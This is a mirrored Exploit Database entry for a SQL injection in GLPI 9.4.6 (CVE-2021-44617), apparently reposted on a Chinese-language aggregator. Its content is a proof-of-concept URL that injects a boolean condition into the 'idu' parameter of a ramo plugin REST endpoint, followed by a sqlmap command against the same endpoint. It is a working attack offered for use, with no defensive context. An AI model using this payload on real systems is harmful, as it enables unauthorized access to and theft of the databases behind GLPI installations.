Baixar GLPI Project 9.4.6 – SQLi

• Exploit Database
• 128 阅读

• 作者： Prof. Joas Antonio
  日期： 2022-03-14
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50823/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14

  # Exploit Title: Baixar GLPI Project 9.4.6 - SQLi # Date: 10/12 # Exploit Author: Joas Antonio # Vendor Homepage: https://glpi-project.org/pt-br/ <https://www.blueonyx.it/ # Software Link: https://glpi-project.org/pt-br/baixar/ # Version: GLPI - 9.4.6 # Tested on: Windows/Linux # CVE : CVE-2021-44617   #POC1: plugins/ramo/ramoapirest.php/getOutdated?idu=-1%20OR%203*2*1=6%20AND%20000111=000111   sqlmap -u "url/plugins/ramo/ramoapirest.php/getOutdated?idu=-1"